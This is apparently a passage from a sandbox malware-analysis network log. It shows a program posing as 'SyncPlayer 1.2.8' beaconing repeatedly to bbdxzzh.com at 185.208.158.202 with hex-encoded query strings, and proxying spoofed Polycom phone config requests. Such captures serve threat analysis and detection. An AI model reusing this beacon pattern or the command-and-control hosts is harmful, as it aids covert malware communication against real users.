Nov 5, 2024 02:15:11.962661028 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:12.866600990 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 5, 2024 02:15:12.973925114 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:13.283210993 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49850	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:13.551901102 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:14.463622093 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49857	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:14.588634014 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:15.528147936 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49863	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:15.650852919 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:16.578191042 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49868	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:16.697303057 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:17.617749929 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49875	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:17.743571997 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:18.668437958 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49880	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:18.850919008 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:19.767070055 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49888	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:19.905107975 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:20.821425915 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49894	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:20.946719885 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:21.893534899 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 5, 2024 02:15:22.003844023 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:22.318644047 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 5, 2024 02:15:22.425765991 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:22.735111952 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 5, 2024 02:15:22.847554922 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:23.162820101 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 5, 2024 02:15:23.274218082 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:23.583112001 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 5, 2024 02:15:23.691534996 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:24.001549006 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49913	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:24.196854115 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:25.095529079 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 5, 2024 02:15:25.206969023 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:25.516474009 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 5, 2024 02:15:25.628530025 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:25.931149960 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49915	89.105.201.183	2023	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:25.242810011 CET	154	IN	GET /cfg/poly-0004f2bd743f.cfg HTTP/1.1 User-Agent: PolycomVVX-VVX_410-UA/5.4.1.18405 Host: endpoints5-scl.5060sip.com Proxy-Connection: Keep-Alive
Nov 5, 2024 02:15:26.643835068 CET	913	OUT	HTTP/1.1 404 404 Date: Tue, 05 Nov 2024 01:15:25 GMT Server: Apache/2.4.52 (Ubuntu) Access-Control-Allow-Origin: * Content-Type: text/html;charset=utf-8 Content-Language: en Transfer-Encoding: chunked Data Raw: 32 62 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f [TRUNCATED] Data Ascii: 2b3<!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.58 (Ubuntu)</h3></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49914	199.101.131.210	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:25.242985964 CET	154	OUT	GET /cfg/poly-0004f2bd743f.cfg HTTP/1.1 User-Agent: PolycomVVX-VVX_410-UA/5.4.1.18405 Host: endpoints5-scl.5060sip.com Proxy-Connection: Keep-Alive
Nov 5, 2024 02:15:26.643105984 CET	913	IN	HTTP/1.1 404 404 Date: Tue, 05 Nov 2024 01:15:25 GMT Server: Apache/2.4.52 (Ubuntu) Access-Control-Allow-Origin: * Content-Type: text/html;charset=utf-8 Content-Language: en Transfer-Encoding: chunked Data Raw: 32 62 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f [TRUNCATED] Data Ascii: 2b3<!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.58 (Ubuntu)</h3></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49926	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:26.056333065 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:27.010674953 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49933	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:27.234129906 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:28.133186102 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49941	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:28.258877993 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:29.159308910 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 5, 2024 02:15:29.269623041 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:29.570806980 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49949	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:30.071664095 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:30.984838963 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

